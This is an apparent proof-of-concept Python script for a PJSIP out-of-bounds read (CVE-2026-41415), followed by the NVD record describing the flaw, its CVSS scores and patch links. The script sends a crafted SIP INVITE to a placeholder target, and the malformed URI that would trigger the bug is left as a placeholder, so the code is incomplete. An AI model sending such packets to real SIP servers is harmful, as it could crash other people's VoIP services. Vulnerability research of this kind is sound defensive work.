CVE-2026-41415

# PoC for CVE-2026-41415 PJSIP Out-of-bounds Read # This script sends a crafted SIP INVITE message with a malformed Content-ID URI. import socket target_ip = "TARGET_IP" target_port = 5060 # Crafted SIP message with multipart/mixed body and malformed Content-ID # The Content-ID header is designed to trigger the parsing flaw. payload = ( "INVITE sip:100@{target_ip} SIP/2.0\r\n" "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\n" "Max-Forwards: 70\r\n" "To: <sip:100@{target_ip}>\r\n" "From: <sip:[email protected]>;tag=12345\r\n" "Call-ID: [email protected]\r\n" "CSeq: 1 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: multipart/mixed; boundary=boundary123\r\n" "Content-Length: 200\r\n" "\r\n" "--boundary123\r\n" "Content-Type: application/sdp\r\n" "Content-ID: <[MALFORMED_URI_TRIGGERING_OOB_READ]>\r\n" # Trigger point "\r\n" "v=0\r\no=- 0 0 IN IP4 0.0.0.0\r\ns=-\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\n" "--boundary123--\r\n" ).format(target_ip=target_ip) try: print(f"[+] Sending PoC to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload.encode(), (target_ip, target_port)) print("[+] Payload sent. Check if the target crashes or exhibits behavior.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-41415", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:13.170", "lastModified": "2026-04-28T18:30:54.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PJSIP is a free and open source multimedia communication library written in C. In 2.16 and earlier, there is an out-of-bounds read when parsing a malformed Content-ID URI in SIP multipart message body. Insufficient length validation can cause reads beyond the intended buffer bounds. This vulnerability is fixed in 2.17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teluu:pjsip:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17", "matchCriteriaId": "3CEC20D0-E450-41AD-BCF9-4E407594F2A7"}]}]}], "references": [{"url": "https://github.com/pjsip/pjproject/commit/4225a93c16661538005017883fbc8f1ea1d5f4b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pjsip/pjproject/security/advisories/GHSA-935m-fmf5-j4pm", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}